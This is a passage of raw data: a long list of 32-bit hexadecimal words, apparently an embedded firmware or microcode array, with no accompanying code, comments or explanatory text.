0x2dfcc00e, 0x993dfff4, 0xa9a2d210, 0x8d00e091, 0xc0029eb2, 0xffb40982, 0xd210991b, 0xc200aa21, 0xd3f252b0, 0xfff429de, 0xf0919ad6, 0xd2c88c00, 0xb780a915, 0x0244430c, 0x7e68b75f, 0x0a00c09e, 0xa115d208, 0x8d00e091, 0x430cb720, 0xaa55d0c8, 0x5a08c200, 0xb79f00c2, 0xb5827c6c, 0xd0c85fad, 0xb720aa55, 0xc200430c, 0x00c25a08, 0x7cecb79f, 0x642db582, 0xaa55d0c8, 0x430cb720, 0x5a08c200, 0xb79f00c2, 0xb5827d6c, 0xd0c868ad, 0xb720aa55, 0xc200430c, 0x00c25a08, 0x7decb79f, 0x6d2db582, 0xaa55d0c8, 0x430cb720, 0x5a08c200, 0xaa1100c2, 0x71adb582, 0xaa55d0c8, 0x430cb720, 0x5a08c200, 0xaa1500c2, 0x762db582, 0xaa55d0c8, 0x430cb720, 0x5a08c200, 0xaa1900c2, 0x462db583, 0x91a0c003, 0xc00176da, 0xd3f192e4, 0x75022a3e, 0x90c2c001, 0xc0007502, 0x750492e6, 0x93e4c002, 0x430cb720, 0x5a21c180, 0x5941c180, 0x4eadb5c2, 0x430cb720, 0x5229b589, 0x430cb720, 0x52a9b549, 0x91a0c002, 0x430cb720, 0x5a41c180, 0x4f2db5c2, 0x430cb720, 0x5329b589, 0x9020c002, 0x430cb720, 0x5a41c180, 0x4fadb5c2, 0x430cb720, 0x53a9b589, 0x92a0c001, 0xc00076dc, 0xb78093c4, 0xd032430c, 0x0902293e, 0x0629d110, 0xc09e5d08, 0xd2080a20, 0xb720a119, 0xc180430c, 0xd1105a11, 0xb5c204a3, 0xb7207aad, 0xd110430c, 0xb58204a3, 0xc0007ead, 0x76de92c0, 0x9164c000, 0x430cb780, 0xc0a80906, 0xd2080a30, 0xc000a101, 0xb7409140, 0xd1a2548c, 0xe2205e08, 0x9ea4aa05, 0xb79f9c62, 0xb7bf7cee, 0xb7df7d6e, 0xc0027dee, 0x9c228c60, 0xb720a60d, 0xb7404d0c, 0x0a164614, 0x402db580, 0x722db585, 0x0a42c809, 0xcc040902, 0xf0500a40, 0xf050a149, 0xf050a15d, 0xf010a141, 0xd0b2a255, 0x02850ea0, 0xfff40b06, 0xf2319990, 0xd3f1aa35, 0x0d82295e, 0x9eb27500, 0xc0000a84, 0x9e5b90e2, 0x4688b5c0, 0x995afff4, 0xffff7544, 0xb79f9204, 0xb7bf7eee, 0xb7df7f6e, 0x8c607fee, 0x5db09c22, 0x0d80c021, 0x0da0c102, 0xaa619d3e, 0xc40059b8, 0xcbfe2980, 0x32462a7d, 0xf0009dbe, 0x9c22a261, 0x430cb720, 0x9e5b0926, 0x6e35b744, 0xd0110802, 0x75101e22, 0x4826b322, 0x9c8bc010, 0x9160c000, 0xaa01d208, 0xc0007106, 0xc00e90a4, 0x9c22287c, 0x02030804, 0x0a14c09e, 0xffff0884, 0xc00e9261, 0x9c22087e, 0xb780a605, 0xb7604e0c, 0x097f430c, 0x04079ea2, 0xa169c020, 0x4038b960, 0x0d820107, 0xc09e0207, 0xd2080a38, 0x0984a902, 0xc0017680, 0xb78093e4, 0xd1104e0c, 0xd3f10535, 0x9ea32ebe, 0x0920c09e, 0xc0300a06, 0xd008a289, 0xb720a259, 0xc000430c, 0xb7605c88, 0xd1105414, 0xd0220483, 0xb54c5e18, 0xb7205631, 0xd120430c, 0xc00401c7, 0xd1100982, 0xb54c0483, 0xb7205731, 0xd110430c, 0xb5430493, 0xb72042b5, 0xb543430c, 0xb78043b5, 0xc101430c, 0xb5430498, 0xb7204455, 0xb543430c, 0xff944535, 0x000b9ac2, 0x90e0c000, 0xfffd0d84, 0xc00e9321, 0xb79f087e, 0xb7bf7f6e, 0x8c407fee, 0xa6059c22, 0x430cb720, 0x02030687, 0x0a30c0a8, 0xaa01d208, 0x55a9b7a9, 0xc0037500, 0x020392c4, 0x0a50c0a0, 0xaa01d208, 0xc0037500, 0x9eab90e4, 0x91c0c000, 0x9b64ffd4, 0x430cb780, 0xc0a89eab, 0xd2080a30, 0x7500aa01, 0x93e4c002, 0x9b7cfff4, 0x743ec01c, 0xffff0d8a, 0xb78091e2, 0xb7204e0c, 0xc2804314, 0xc2405908, 0x7740aa25, 0x5a08c200, 0x00c2c101, 0x7aadb722, 0x4d8cb780, 0xe0409e8a, 0xc001a146, 0xb7699022, 0x09825551, 0x55d1b709, 0x5e30d1a2, 0x01099e9a, 0x0900c021, 0x0930c140, 0x91a0c000, 0xf0009dad, 0xd011a162, 0x9dcd0a28, 0xa162f000, 0xc1000984, 0xc1010900, 0x71110236, 0x925cffff, 0x5a30c280, 0x0a00c021, 0x0910d111, 0x0a40c146, 0xf0009dcd, 0xb786a161, 0x750058c9, 0x9184c000, 0x4fcbb78b, 0xc0007500, 0xb76590e2, 0x9eab684d, 0x9952ffd4, 0x430cb780, 0xc0a00906, 0xd2080a50, 0xb79fa101, 0xb7bf7f6e, 0x8c407fee, 0xb7809c22, 0x9e5a550c, 0x4314b700, 0xaa45c040, 0x5c88c180, 0x0496c101, 0x4000ba24, 0x0528c101, 0x5c88d122, 0x00960492, 0x00920490, 0x4ecbb784, 0x0090c101, 0x6aabb723, 0x4002ba24, 0x0142e000, 0x1124d015, 0x90cac000, 0x0a7ec03e, 0x7088c810, 0x5c88d122, 0x00920096, 0x0090c101, 0x6aabb543, 0x5c88d1a2, 0x430cb780, 0x00920096, 0x0a020098, 0x4eabb584, 0xa6059c22, 0x430cb720, 0xb7849e5d, 0x7d20622d, 0x9182c001, 0x438cb740, 0x0a0ec001, 0x0a64c028, 0xc0007088, 0x0a0290b2, 0x752bb584, 0x430cb720, 0xb5840a06, 0xb720792b, 0xb789430c, 0x01835429, 0xb7419e8b, 0xb7455333, 0xc0286a2d, 0x01b809ec, 0x0dc0c04a, 0x9c629e94, 0x430cb720, 0x622db784, 0x2a3dcffe, 0x622db584, 0x430cb720, 0x4f2bb78b, 0xc0017500, 0xb7449222, 0x748473ad, 0x9124c000, 0x52adb781, 0xc0017500, 0xc0009084, 0x74829140, 0x90e4c000, 0x522db781, 0xc0007502, 0x02039344, 0x0a54c0a0, 0xaa01d208, 0xc0007500, 0x74869244, 0x9144c000, 0xc0a00203, 0xd2080a00, 0x7500aa01, 0x90e4c000, 0x64adb781, 0xc000750a, 0x0a0290a4, 0x4f2bb58b, 0x430cb720, 0xc0aa0203, 0xd2080a10, 0x7500aa01, 0x92a2c000, 0x53abb741, 0x6badb705, 0x73b5b764, 0x4f2bb76b, 0x9e849eaa, 0xb7809c62, 0xc0a0430c, 0xd2080a60, 0xc000a001, 0xb7499120, 0x02036b29, 0x0a60c0a0, 0xa101d208, 0x430cb720, 0x5214b760, 0x5529b749, 0xc0a00183, 0xc00009e0, 0xd0089140, 0x9e91aa61, 0xc0309e52, 0xc00ea229, 0xb789297c, 0xd01255a9, 0x71040922, 0x9268ffff, 0x7f6eb79f, 0x7feeb7bf, 0x9c228c40, 0x4314b720, 0xc09c0596, 0xd0100d80, 0xb704a8f9, 0xba09754d, 0x747f4000, 0x1802d001, 0x48a2b340, 0xc1010092, 0xb7890092, 0xc00e612b, 0xc2002a60, 0x00405a0f, 0xa61d9c22, 0x430cb7a0, 0x9e9e0687, 0xc09a020b, 0xd2080a38, 0x9e57a982, 0x9bdafff4, 0xc09a020b, 0xd2080a34, 0x0301a982, 0x9bd2fff4, 0xc09a020b, 0xd2080a30, 0x008baa01, 0x02589e81, 0x0a00c09c, 0xaa19d208, 0x752db744, 0x4000ba24, 0xc000753f, 0xd01290c4, 0xc00019a2, 0x020b9220, 0x0a18c09a, 0xa881d208, 0x009a0092, 0x612bb789, 0x2a60c00e, 0x5a0fc200, 0x01c4d020, 0xc0007780, 0x9eaa9102, 0xc02a0982, 0xc0020d30, 0x75c690c0, 0x91e2c000, 0xd11e7197, 0xd11d163d, 0xd0111267, 0xd03119c2, 0xc02a6a39, 0xc0010a60, 0x020b9280, 0x0a68c09a, 0xaa01d208, 0xc0007500, 0x9e699222, 0x0a02c409, 0x622db580, 0x0a42c001, 0x0a00c010, 0x6335b5c0, 0x62adb580, 0x93c0c001, 0xb785008b, 0x75004c29, 0x9102c000, 0x1262c101, 0x19c4d011, 0x91a0c000, 0xd01d72c2, 0xd01e1632, 0xd0121616, 0x0a021942, 0xcc129e52, 0xd0317088, 0xc0a26a39, 0xd0200a00, 0xf0100158, 0x9e69aa49, 0xb58074c0, 0xf010622d, 0xb580aa45, 0xf01062ad, 0xb580aa41, 0xc000632d, 0xd0a29236, 0xd3f15d60, 0xc2002a6e, 0x32445a20, 0x2d3ed3f1, 0x3a7cc00e, 0x32445940, 0x622db580, 0x7e6eb79f, 0x7eeeb7bf, 0x7f6eb7df, 0x7feeb7ff, 0x8c00c002, 0xb7209c22, 0xd1a24314, 0x9e9a5cb0, 0x56c9b786, 0x0880c140, 0x0880c021, 0x5a24c200, 0x2a00c020, 0x9d9d3a04, 0xa261f000, 0x09060185, 0x91a0ffbf, 0xa205f839, 0xb7208420, 0x0a02430c, 0x7e6ab59f, 0x5f2bb741, 0xc0a00203, 0x74800a60, 0xa981d208, 0x9104c000, 0x6eadb740, 0x8d00e032, 0x9bd3fff4, 0xaa19f9f8, 0xf8399c22, 0x8420a205, 0x430cb720, 0xb59f0a02, 0xb7417e6a, 0x9ea25f2b, 0xc0007480, 0x02039204, 0x0a38c0a8, 0xa102d208, 0x430cb720, 0x8d00e032, 0xb74009ea, 0xfff46cad, 0xf9f89bb4, 0x9c22aa19, 0xb720a605, 0x9e5d430c, 0x64adb781, 0xc0017504, 0xb7809044, 0xc240528c, 0x7500aa25, 0x9142c000, 0x2afcc00e, 0xfff49eab, 0x9eab9bb3, 0x9180c000, 0xc0a80203, 0xd2080a38, 0x7500aa01, 0x9162c000, 0x2dfcc00e, 0x7f6eb79f, 0x7feeb7bf, 0xfffd8c40, 0xb79f9340, 0xb7bf7f6e, 0x8c407fee, 0xa60d9c22, 0x030774c6, 0xc0009e5d, 0x74c490a2, 0x90a4c000, 0xc0009eb6, 0xb74092c0, 0x0205430c, 0x0a54c0a0, 0xaa01d208, 0xc0007500, 0x0f0690a4, 0x9120c000, 0xc06c0205, 0x71480a60, 0xd0020f02, 0xf2080f62, 0xb720aa31, 0x73994314, 0x9344c000, 0x574db783, 0xa221f208, 0x430cb720, 0x57adb723, 0xa0a5f208, 0x430cb720, 0x582db723, 0xa0a9f208, 0x430cb720, 0x58adb723, 0xa0adf208, 0x90e0c001, 0x5c88d322, 0x5551b769, 0x0092c101, 0x6a35b740, 0x09c2c010, 0xff94010b, 0xb7209873, 0xf208430c, 0xb583aa21, 0xb720572d, 0xf208430c, 0xb583aa25, 0xb72057ad, 0xf208430c, 0xb583aa29, 0xb720582d, 0xf208430c, 0xb583aa2d, 0xb72058ad, 0xd0524314, 0xb7890ad8, 0xba0c5249, 0xc0004008, 0x5888922a, 0x0092c101, 0x5551b769, 0x5035b742, 0xc00e9e6a, 0xff9409f2, 0x0a169845, 0xa231f208, 0xaa21d210, 0x0982c400, 0x0902c200, 0xa221f210, 0xa92ef208, 0x2d7dc9fe, 0xa12ef208, 0x430cb720, 0x7f2db784, 0xb3437500, 0x75004422, 0x4422b342, 0x9e533126, 0xf2083126, 0xb720a12d, 0xb784430c, 0x750273ad, 0x90c2c000, 0x3900c020, 0xa12df208, 0xaa2df208, 0x3a00c010, 0xa22df208, 0x430cb720, 0x73adb784, 0xc0007506, 0xf20893e4, 0xc080aa21, 0xc0007d00, 0x01039102, 0x0974c09a, 0xc0000a02, 0xb78592e0, 0x75004c29, 0x9282c000, 0xc09a0103, 0xd0080974, 0x7500aa41, 0x1a42d002, 0x9104c000, 0x9100c000, 0xc09a0103, 0x0a0a0974, 0xa241d008, 0xaa21f208, 0x7d00c040, 0x93a2c003, 0x430cb720, 0x73adb784, 0xc0037504, 0x018392c4, 0x09f0c09a, 0xa961d008, 0xc0037480, 0xb76491c4, 0xefff7735, 0xc0012dfc, 0x020390a2, 0x0a68c09a, 0xaa01d208, 0xc0007500, 0x020391c2, 0x0a6cc09a, 0xaa01d208, 0xc0007500, 0xd00890c2, 0xc001a161, 0x01039120, 0x0970c09a, 0xd0080a06, 0xb780a241, 0x0902430c, 0x0a74c09a, 0xa101d208, 0x9340c000, 0x02039e8a, 0x0a38c09a, 0x0d34c09a, 0xa901d208, 0xaa41d010, 0xb41b7088, 0xc0004822, 0x0a069162, 0xa261d008, 0x430cb780, 0x0a74c09a, 0xa182d208, 0x430cb720, 0xc09a0203, 0xd2080a70, 0x7500aa01, 0x9284c000, 0x652db784, 0xc0007500, 0xf20891e2, 0x0906aa2d, 0x3a00c081, 0xa22df208, 0x430cb780, 0x0a70c09a, 0xa101d208, 0x430cb780, 0x0a70c09a, 0xaa01d208, 0xc0007500, 0xf2089102, 0xcfbeaa2d, 0xf2082a7d, 0xb720a22d, 0xf208430c, 0xb781a92d, 0x750464ad, 0x9102c000, 0x297dcfde, 0xa12df208, 0x9020c001, 0x0a5ecfff, 0x0a7cc7fe, 0x2128d020, 0xa12ef208, 0x430cb720, 0xc0a00203, 0xd2080a00, 0x7500aa01, 0x90e4c000, 0x5829b786, 0xc0007500, 0x9e539142, 0x2900c800, 0xc0013226, 0xf2083a20, 0xb780a22d, 0xf208430c, 0xc011a9ad, 0xc09a0d02, 0xd2080a68, 0x5964a901, 0x2900c021, 0xf2083126, 0xb780a12d, 0xc09a430c, 0xd2080a6c, 0xc200aa01, 0xc0415a68, 0x31282a00, 0xa12df208, 0x430cb780, 0x297ecfef, 0xc09a9e93, 0xd2080a74, 0x7500aa01, 0xb3420a02, 0x35264444, 0xa12ef208, 0x430cb720, 0xb7839e53, 0xc2004d2b, 0xc0015a50, 0x31382a40, 0xa12df208, 0x430cb720, 0x652db781, 0xc0007508, 0xb7819164, 0x750464ad, 0x90c4c000, 0x3900c201, 0xa12df208, 0x9eab7780, 0x09829eb2, 0x09b2d001, 0x7eeeb79f, 0x7f6eb7bf, 0x7feeb7df, 0xffe78c60, 0xf8399280, 0x04b6a285, 0x4f8cb780, 0x04079e48, 0xa886c040, 0x5014b760, 0x4f0cb780, 0x59c09e40, 0xaa05c040, 0x29fcc00f, 0xa98ac030, 0x75009e9d, 0x5da0349a, 0x8d80e033, 0x3616d010, 0xa9f9d9d8, 0x90c2c000, 0x3a00c201, 0x90e0c000, 0xc0007680, 0xc1019082, 0x74803a00, 0x9082c000, 0x3a00c011, 0xc0007440, 0x74c09122, 0x3a00c021, 0x9082c000, 0x3a00c041, 0x5d08d028, 0x519cb740, 0xe0209e2d, 0xf9f8a26d, 0x9c22aa9d, 0x8420a61d, 0x528cb780, 0xb7c09e5e, 0xc2404314, 0xa199aa45, 0x9d199e73, 0x8c80e0b1, 0x0984c0a0, 0x05857500, 0xd0089e90, 0xb7ffa962, 0xb7bf7e29, 0xb77f7e33, 0xc0007d2b, 0x9e719244, 0x7f2db784, 0xc0007500, 0xb78490e4, 0x750273ad, 0x90e2c000, 0xb7a49e71, 0xc00073ad, 0x0a829060, 0x4d8cb780, 0x5908c300, 0xe0407740, 0xc000abc6, 0x9e719122, 0x732db784, 0x0609d110, 0x284ed3f2, 0xc0a09e74, 0xd2080a58, 0x7500aa01, 0x90a4c000, 0xc0010009, 0x9e7490e0, 0x0a50c0a6, 0xaa01d208, 0xc0007500, 0x080690a2, 0x9380c000, 0xb7899e71, 0xc10155a9, 0x710c00ec, 0x9124c000, 0xc0a60203, 0xd2080a40, 0xc000a815, 0x010391a0, 0xc0a60203, 0xc0a60944, 0xd2080a40, 0xd008aa15, 0x1044a955, 0xc10175c2, 0xc00000ec, 0xb5299172, 0xb7207b31, 0x00e2430c, 0x7a31b509, 0x9100c000, 0x7b29b789, 0x0619d110, 0x7b29b589, 0xc00074c0, 0x9e719104, 0x4f29b787, 0xc0057500, 0xb72092a2, 0xc1004314, 0x5d985c08, 0x049dd110, 0x6f4db744, 0x7a29b769, 0x7b31b749, 0xd0f15938, 0xcc002e08, 0xc03c2900, 0x59e02d80, 0x9e5a3244, 0x5d409e9b, 0xb72b3526, 0x32444f4b, 0x74409e52, 0xd0113244, 0xd0202956, 0xc0003144, 0xc0809082, 0x9e4c3d00, 0x0a58c0a0, 0xaa01d208, 0xc0007500, 0xc0409082, 0x9dcf3d00, 0xc00076c0, 0xc1009082, 0xc0003d00, 0xc00f5a40, 0xc3802a7c, 0x31c45960, 0x77409e4c, 0x0a30c09a, 0xaa01d208, 0x540cb740, 0x39b4d002, 0x5a08c200, 0x024cc101, 0xaa11f208, 0x0482d010, 0x0e82c124, 0xc3007500, 0x02445a18, 0xd002a919, 0x028939b2, 0xa101f208, 0x462db723, 0xa106f208, 0xa189f208, 0xa08df208, 0x9eaa9e6b, 0x0ec09eb3, 0x9881ff74, 0x7740c250, 0xffff0ac0, 0x9eb392e4, 0x0982c004, 0xc124050f, 0xff740902, 0x9eb3995e, 0x9975ff74, 0xb7879e71, 0x75004f29, 0x93e2c000, 0x4d8cb740, 0x5908d324, 0xc101aa19, 0xf0100524, 0xc006a9c1, 0xc3000a7c, 0x02465930, 0x2a01cffc, 0x0900c021, 0xa241f010, 0x0940c146, 0x0a00c004, 0xf0009dad, 0xc000a261, 0x9eb392e0, 0xc004050f, 0xc1240982, 0xff740902, 0x9eb39953, 0x7deeb79f, 0x7e6eb7bf, 0x7eeeb7df, 0x7f6eb7ff, 0x8c20c002, 0x93a0ff69, 0x7deeb79f, 0x7e6eb7bf, 0x7eeeb7df, 0x7f6eb7ff, 0x8c20c002, 0xb7209c22, 0x9e5a430c, 0xc0a60203, 0xd2080a50, 0x7500aa01, 0x9222c000, 0x02039e8a, 0x0d4cc0aa, 0x0a68c0a6, 0xa901d208, 0xaa41d010, 0x70880802, 0x0802d003, 0xb7869c22, 0x750056a9, 0x9162c000, 0x4e8cb780, 0xaa45c040, 0xc0007500, 0x08069082, 0x02229c22, 0xc0a60109, 0xc0a60940, 0xd2080a60, 0xd008aa01, 0x0802a955, 0xd0037104, 0x9c220802, 0x430cb720, 0x02030c06, 0x0a10c0b6, 0xc0b60103, 0xd2080914, 0xd008a981, 0xb729a941, 0x9e9a5531, 0x4000ba12, 0x72821d04, 0x9096c000, 0x55b1b749, 0x2daed3f2, 0x560cd022, 0xc01c2228, 0xc0007d3e, 0x729790a4, 0x9204ffff, 0x0e28d011, 0x460cb740, 0x02446a52, 0x0948d031, 0xaa41f008, 0x02037508, 0x0a10c0b6, 0x4a22b402, 0xa182d208, 0xb7409c22, 0x0205430c, 0x0a14c0b6, 0xaa01d208, 0xc0007500, 0x020590e4, 0x0a10c0b6, 0xa182d208, 0x0a069e5a, 0x5208c200, 0x430cb740, 0x0914c0b6, 0xa942d008, 0x32469e53, 0xa241d008, 0xa6059c22, 0xc0009e5d, 0xffb49080, 0xb78098c9, 0x0d92430c, 0x0a10c0b6, 0xaa01d208, 0xffff710a, 0xb79f92c4, 0xb7bf7f6e, 0x8c407fee, 0xb7809c22, 0x9e5a520c, 0x430cb720, 0xaa45c040, 0xb7415db0, 0xc00271ad, 0xc0212a7c, 0x32440d80, 0x0df0c116, 0xf0009dbe, 0x9c22a261, 0xb720a60d, 0xb783430c, 0x75004d2b, 0x9342c003, 0x6eadb784, 0xc0037500, 0xb78192a2, 0xb7416a2d, 0xb74168ad, 0xb7616935, 0xc20069ad, 0x59405a20, 0xc0015d60, 0xc3f0297c, 0xb7a92a00, 0xc3f15531, 0x32442d00, 0x9e5229fc, 0xb7c93246, 0x31c455a9, 0x0d829e6a, 0x91e0c000, 0xf0009dad, 0xc021a1e1, 0xc0340a00, 0x9d4d0a00, 0xd3f1aa61, 0xc1012d2e, 0xd01205b8, 0x708c0922, 0x5e30d122, 0xc0210109, 0xc0320900, 0xffff0960, 0xb7809134, 0xb741412d, 0xb7606ab5, 0xb7a141ad, 0xb741682d, 0x61b967ad, 0xc0015d60, 0xcff00a1e, 0xc0310a00, 0xc2802d00, 0x59205ad0, 0xc00f2128, 0x9e542ac0, 0x32d832d4, 0x9a9dc0f4, 0x287cc00e, 0x098232d0, 0x91c0c000, 0xf0009dad, 0xc021a2e1, 0xc0340a00, 0x9dcd0a00, 0xa1e1f000, 0x2eaed3f2, 0x0d52d012, 0x5e30d122, 0x0109735d, 0x0900c021, 0x0970c032, 0x9154ffff, 0x7eeeb79f, 0x7f6eb7bf, 0x7feeb7df, 0x9c228c60, 0xb720a605, 0x0687430c, 0xc09a0203, 0xd2080a18, 0x7500aa01, 0x9064c007, 0x6fadb7a4, 0x6e2db764, 0xc0007540, 0xb7449222, 0x729b6eb5, 0x9188c000, 0xc09a0203, 0xd2080a1c, 0xc101a901, 0x71041254, 0x90c6c000, 0xc00674c0, 0x02879142, 0xb7840103, 0xc09a6ead, 0xd008091c, 0x1258a941, 0xc0057104, 0xb78993c8, 0x0d865529, 0x55e89ea2, 0x2dfcc00e, 0x9bf7ff94, 0x430cb720, 0x4c29b785, 0xc0027500, 0xb7899082, 0x09825429, 0xd0129e99, 0xc00009c4, 0xd0109120, 0x0218aa5d, 0x0a00c09c, 0xa09ad208, 0x430cb720, 0x0537d110, 0x02140984, 0x02039ea2, 0x0a78c09a, 0xaa01d208, 0x0d60c09a, 0xffff7088, 0x0a029158, 0x4c29b585, 0x430cb720, 0xb76909c2, 0xb7405531, 0x010374b5, 0x0910c098, 0x9ba8ff54, 0x430cb780, 0xc09a0906, 0xd2080a1c, 0xb720a101, 0x0203430c, 0x0a1cc09a, 0xaa01d208, 0xb5811a04, 0xc00152ad, 0xb7849180, 0x01036ead, 0x091cc09a, 0xd0081258, 0xb720a241, 0xc004430c, 0x020309d2, 0x0a1cc09a, 0xaa01d208, 0xb5811a04, 0xb72052ad, 0x0203430c, 0x0a1cc09a, 0xaa01d208, 0x6335b741, 0x5531b769, 0x5a1cc200, 0x0d01cff0, 0xc1010103, 0xc0a20528, 0xff540900, 0xb7209b6b, 0x0a86430c, 0xb7699eaa, 0x55cc5531, 0x2dfcc00e, 0x9923ffb4, 0x460cb740, 0xaa41f048, 0xc0007508, 0xf0489084, 0xb720a2c1, 0x0203430c, 0x0a1cc09a, 0xaa01d208, 0x612bb749, 0xc2001a04, 0xcff05a0c, 0xc00e291d, 0x32442a60, 0x612bb589, 0x430cb740, 0xc0a00205, 0xd2080a54, 0x7500aa01, 0x9224c000, 0xc09a0205, 0xd2080a18, 0x0092a881, 0xb7890094, 0xc00e612b, 0xc2002a60, 0xd2105a0f, 0xb720a221, 0xd210430c, 0xb744aa21, 0xba24752d, 0x02444000, 0x7f2db584, 0x430cb720, 0x7f2db784, 0x0890c09e, 0x4029b580, 0x430cb720, 0x7f2db784, 0x742db744, 0xb5841244, 0xb79f7f2d, 0xb7bf7f6e, 0x8c407fee, 0xa61d9c22, 0x8460c008, 0x4314b7a0, 0x9e699e6c, 0x0a30c0a8, 0xa981d208, 0x652db7a1, 0xc02974c0, 0x9e6a9184, 0xc0a80a06, 0xd0080934, 0xb780a241, 0x096a430c, 0x0a5cc0a0, 0xa101d208, 0x430cb720, 0x43adb565, 0x430cb720, 0xc0a00203, 0xd2080a00, 0x7500aa01, 0x90e2c000, 0x7fadb784, 0xb5840a04, 0xb7407fad, 0xc09a430c, 0xd0080918, 0x0a04aa41, 0xa241d008, 0x430cb780, 0x01099ea2, 0x0d18c09a, 0x091cc09a, 0xaa41d010, 0xa941d008, 0xb41a7104, 0xb7204442, 0xb784430c, 0x1a04702d, 0x702db584, 0x430cb740, 0xc09a0205, 0xd2080a18, 0x9e92a881, 0x00940092, 0x612bb789, 0x0d00c0a0, 0xc2002a10, 0xd0105a0b, 0xb720a241, 0x9e4c4314, 0x0a18c09a, 0xa881d208, 0xc1010092, 0xb7890092, 0x0109612b, 0x2900c0f0, 0x5821d124, 0x5831c200, 0xc8129e43, 0x2a0c70c0, 0x73cdb584, 0x4314b720, 0x03850904, 0xc09a9e4a, 0xd0080918, 0x0092a8c1, 0x0092c101, 0x612bb789, 0x2a60c00e, 0x5a0fc200, 0x7468b59e, 0xaa41d008, 0xc0057500, 0xb78492c4, 0xb5846ecd, 0xb720754d, 0xb745430c, 0x76845135, 0x9182c002, 0x6eadb744, 0xc0007480, 0xb7819242, 0x7500522d, 0x90e2c000, 0x702db784, 0xc0007500, 0x7682911c, 0x90a2c000, 0xc0017680, 0xb78492e4, 0xe000742d, 0xc0001128, 0xb7819142, 0x708851ad, 0x90a8c000, 0xc0007680, 0x010393c4, 0x0954c0a0, 0xd0080a06, 0xb720a241, 0x0902430c, 0x7fadb544, 0x430cb720, 0x7f2db544, 0x430cb720, 0x6eadb784, 0x742db584, 0x430cb720, 0xb55e0a7f, 0xb5847468, 0xb72076ad, 0x0a06430c, 0x73adb584, 0x430cb720, 0x522db781, 0x702db584, 0x430cb720, 0x0a7ec00e, 0xb5850d86, 0xb740512d, 0xc09a430c, 0xd008097c, 0x0a04aa41, 0xa241d008, 0x430cb780, 0x01099ea2, 0x0d7cc09a, 0x0978c09a, 0xaa41d010, 0xa941d008, 0xd0147104, 0xb4221244, 0xc0004448, 0xd01093a0, 0xd110aa41, 0xd0080639, 0xb780a25d, 0xc101430c, 0x01850146, 0x0a78c09a, 0x09e0c09a, 0xa901d208, 0xaa7dd008, 0x71040d84, 0x1144d020, 0x9086c000, 0xa17ed008, 0x430cb720, 0x0216c101, 0x02030109, 0x0a78c09a, 0xaa01d208, 0xc09a9e8a, 0xc09a0960, 0x72d90d7c, 0x92b8fffe, 0x5429b789, 0xc09a0218, 0xd2080a60, 0x0218aa1d, 0x0a00c09c, 0xa919d208, 0xd2081904, 0xb740a119, 0x9e544314, 0x0a00c0a0, 0xaa01d208, 0xc0017500, 0xc00e91c2, 0xd1102bfc, 0x9e52062f, 0x0a60c09a, 0xaa1dd208, 0x0930c09a, 0xa241d008, 0x430cb780, 0xc09a0109, 0xd0080930, 0xd1e8a942, 0xc101a949, 0xc09c0244, 0xd2080a00, 0xb720a119, 0x0203430c, 0x0a30c09a, 0xaa01d208, 0x7fadb744, 0x5a08c200, 0xb54400c2, 0xc00179ad, 0x9e5492a0, 0x0a78c09a, 0xa901d208, 0x0124c101, 0x0960c09a, 0xaa5dd008, 0xd0080a04, 0xb780a25d, 0x0109430c, 0x0978c09a, 0xa941d008, 0x9ea20228, 0xc09a0908, 0xd0100d60, 0x7104aa5d, 0x90b8c000, 0xd0101a08, 0xb780a25d, 0x0109430c, 0x0978c09a, 0xa941d008, 0x02449ea2, 0x0a60c09a, 0xaa1dd208, 0x0d30c09a, 0xa241d010, 0x430cb740, 0x0220c101, 0x0a60c09a, 0xaa1dd208, 0x0934c09a, 0xa241d008, 0x430cb720, 0x5429b749, 0x7fadb784, 0x71049e8a, 0x0d38c09a, 0x9134c000, 0xc09a0210, 0xd2080a60, 0xc000aa1d, 0x020390e0, 0x0a34c09a, 0xaa01d208, 0xa241d010, 0x430cb740, 0x0d029e69, 0x0970c09a, 0x5629b786, 0xa142d008, 0x4314b720, 0xb7647500, 0xc00073cd, 0xb78190c2, 0xc000744d, 0xb7819080, 0x74c674cd, 0x624db584, 0x9182c000, 0xc00074c2, 0xb7209222, 0xb784430c, 0x3a04622d, 0x9100c000, 0x430cb720, 0x622db784, 0x3a00c008, 0x622db584, 0x430cb780, 0x0a30c09a, 0xaa01d208, 0x5a08c200, 0x0242c101, 0xa911f208, 0xc0007480, 0xf2489222, 0xb780a111, 0x0902430c, 0x0a30c09a, 0xaa01d208, 0x5a08c200, 0x0242c101, 0xa111f208, 0x4ed5b742, 0xc0027680, 0xb7809102, 0xb749430c, 0xc09a52c9, 0xd2080a30, 0x7480aa01, 0x5a08c200, 0x0242c101, 0xa911f248, 0xa111f208, 0x430cb780, 0xb5420902, 0xc09a4ecd, 0xd2080a30, 0xc200aa01, 0xc1015a08, 0xf2480242, 0xc001a112, 0xb72090c2, 0xb786430c, 0x750056a9, 0x9202c000, 0xc00074c2, 0x020391a2, 0x0a60c09a, 0xaa01d208, 0xc09a0103, 0x4a040964, 0x90c0c000, 0xc09a0103, 0x0a020964, 0xa241d008, 0x430cb720, 0xb5890a02, 0xb78452c9, 0xb5847fad, 0xb72076ad, 0xb742430c, 0x02034f4d, 0x0a30c09a, 0xaa01d208, 0xc2007480, 0xc1015a08, 0xf2480242, 0xb584aa11, 0xb72062ad, 0xc000430c, 0x0a029262, 0x6c2db544, 0x4f4db582, 0x430cb740, 0x5351b749, 0x5349b589, 0x0968c09a, 0xa142d008, 0x90c0c001, 0xc09a0203, 0xd2080a34, 0xc200aa01, 0xc1015a08, 0xf2480242, 0xb584aa11, 0xb7206c2d, 0x0203430c, 0x0a34c09a, 0xaa01d208, 0x762db744, 0xc2009e8a, 0x00c25a08, 0x79adb724, 0xc09a0a02, 0x70820d68, 0x0a42d001, 0xa241d010, 0x4fcdb742, 0x430cb720, 0xc0007480, 0x0a029262, 0x6d2db544, 0x4fcdb582, 0x430cb740, 0x53d1b749, 0x53c9b589, 0x096cc09a, 0xa142d008, 0x90c0c001, 0xc09a0203, 0xd2080a38, 0xc200aa01, 0xc1015a08, 0xf2480242, 0xb584aa11, 0xb7206d2d, 0x0203430c, 0x0a38c09a, 0xaa01d208, 0x762db744, 0xc2009e8a, 0x00c25a08, 0x79adb724, 0xc09a0a02, 0x70820d6c, 0x0a42d001, 0xa241d010, 0x430cb720, 0x4155b740, 0xb7440c06, 0x5d1072ad, 0x62adb784, 0x097c5910, 0x2901cffe, 0x6125c101, 0xb5840228, 0xb720632d, 0x0c82430c, 0x6c2db784, 0xb5840228, 0xb7206cad, 0xb784430c, 0x01286d2d, 0x6dadb544, 0x430cb720, 0x4e8cb780, 0x5529b769, 0x4000ba1b, 0x01b8d020, 0x5a30c180, 